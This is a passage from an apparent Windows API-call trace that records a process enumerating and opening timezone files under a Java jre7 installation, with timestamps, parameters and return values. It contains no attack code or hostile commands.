dwReserved0=0x0, dwReserved1=0x0, cFileName="Nicosia", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Novokuznetsk", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x24d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Novosibirsk", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Omsk", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oral", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phnom_Penh", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pontianak", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pyongyang", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Qatar", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Qyzylorda", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rangoon", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh87", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x127d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh88", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x129d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh89", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sakhalin", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Samarkand", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seoul", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shanghai", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Singapore", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Taipei", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tashkent", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tbilisi", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tehran", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thimphu", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tokyo", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ulaanbaatar", cAlternateFileName="")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urumqi", cAlternateFileName="")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ust-Nera", cAlternateFileName="")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vientiane", cAlternateFileName="")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vladivostok", cAlternateFileName="")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yakutsk", cAlternateFileName="")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yekaterinburg", cAlternateFileName="")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yerevan", cAlternateFileName="")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yerevan", cAlternateFileName="")) returned 0 [0088.683] GetLastError () returned 0x12 [0088.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.683] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250cd0) returned 1 [0088.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.685] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Atlantic", cAlternateFileName="")) returned 1 [0088.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.693] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13330e0 [0088.694] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13330e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x13330e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13330e0) returned 1 [0088.694] NtClose (Handle=0x164) returned 0x0 [0088.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0088.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.695] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.696] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.696] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Azores", cAlternateFileName="")) returned 1 [0088.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfd48 [0088.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329860 [0088.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.698] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bermuda", cAlternateFileName="")) returned 1 [0088.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfd68 [0088.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13298e8 [0088.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.700] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="Canary", cAlternateFileName="")) returned 1 [0088.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfd88 [0088.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329970 [0088.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.701] FindNextFileW (in: 